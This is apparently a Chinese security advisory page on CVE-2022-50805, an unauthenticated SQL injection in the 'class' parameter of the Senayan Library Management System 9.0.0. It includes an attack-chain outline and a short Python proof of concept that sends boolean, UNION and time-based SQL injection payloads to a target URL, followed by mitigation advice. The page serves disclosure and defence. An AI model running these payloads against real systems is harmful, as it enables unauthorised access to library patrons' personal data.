IPBUF安全漏洞报告
English
CVE-2022-50805 CVSS 8.2 高危

CVE-2022-50805 Senayan图书馆管理系统SQL注入漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50805
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Senayan Library Management System (SLIMS) 9.0.0

相关标签

SQL注入高危漏洞CVE-2022-50805SLIMSSenayan图书馆管理系统无认证利用网络攻击

漏洞概述

CVE-2022-50805是Senayan图书馆管理系统(SLIMS)9.0.0版本中的一个高危SQL注入漏洞。该漏洞存在于系统的class参数中,允许未经认证的攻击者通过构造恶意的SQL查询payload来操纵数据库查询。Senayan/SLIMS是一款广泛使用的开源图书馆自动化管理系统,用于管理图书馆的藏书、读者信息、借阅记录等核心业务数据。由于该漏洞无需任何认证即可被利用,且位于系统核心功能模块,攻击者可以借此获取数据库中的敏感信息,包括读者个人信息、借阅历史、图书库存数据,甚至可能通过UNION SELECT等技术在某些配置下执行系统命令。CVSS 3.1评分8.2(高危)表明该漏洞对机密性造成严重影响,可能导致大规模数据泄露。

技术细节

该SQL注入漏洞存在于SLIMS 9.0.0的class参数中,攻击者可以通过HTTP请求中的class参数注入恶意SQL语句。漏洞原理是应用程序未对用户输入进行充分的过滤和参数化查询,直接将class参数值拼接到SQL查询语句中。攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术提取数据库信息。典型的攻击payload可能包含' OR '1'='1类型的永真条件,或使用UNION SELECT语句联合查询系统表获取数据库结构信息。由于漏洞存在于无需认证的接口,攻击者可以直接通过互联网发起攻击,无需任何前置条件。成功利用此漏洞可获取图书馆管理系统中的所有数据,包括读者姓名、联系方式、借阅记录、罚款信息等敏感数据。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标SLIMS 9.0.0系统版本,确认漏洞存在于class参数中
STEP 2
步骤2: 构造恶意payload
攻击者构造SQL注入payload,如使用UNION SELECT或布尔盲注技术
STEP 3
步骤3: 发送恶意请求
通过HTTP GET/POST请求将payload发送到服务器的class参数
STEP 4
步骤4: 提取数据库数据
利用SQL注入漏洞提取敏感信息,如读者数据、图书信息、管理员凭据等
STEP 5
步骤5: 权限提升或持久化
如有需要,利用获取的信息进行进一步攻击或建立持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2022-50805 SQL Injection PoC for SLIMS 9.0.0 # Target: Senayan Library Management System # Vulnerability: SQL Injection in 'class' parameter def exploit_sqli(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" params = { 'class': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/index.php") sys.exit(1) target = sys.argv[1] # Basic test payloads payloads = [ "' OR '1'='1", # Basic boolean-based injection "admin' UNION SELECT NULL--", # UNION-based injection "' AND SLEEP(5)--", # Time-based blind injection ] print(f"[*] Target: {target}") print(f"[*] Testing SQL injection payloads...") for payload in payloads: print(f"\n[*] Testing payload: {payload}") result = exploit_sqli(target, payload) if result: print(f"[+] Response received (length: {len(result)})") if __name__ == "__main__": main()

影响范围

Senayan Library Management System (SLIMS) 9.0.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1)使用Web应用防火墙规则阻止可疑的SQL关键字;2)对class参数实施严格的输入白名单验证;3)限制数据库账户权限,防止数据泄露;4)启用数据库审计日志,监控异常查询行为;5)考虑暂时禁用受影响的功能模块,待官方修复后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表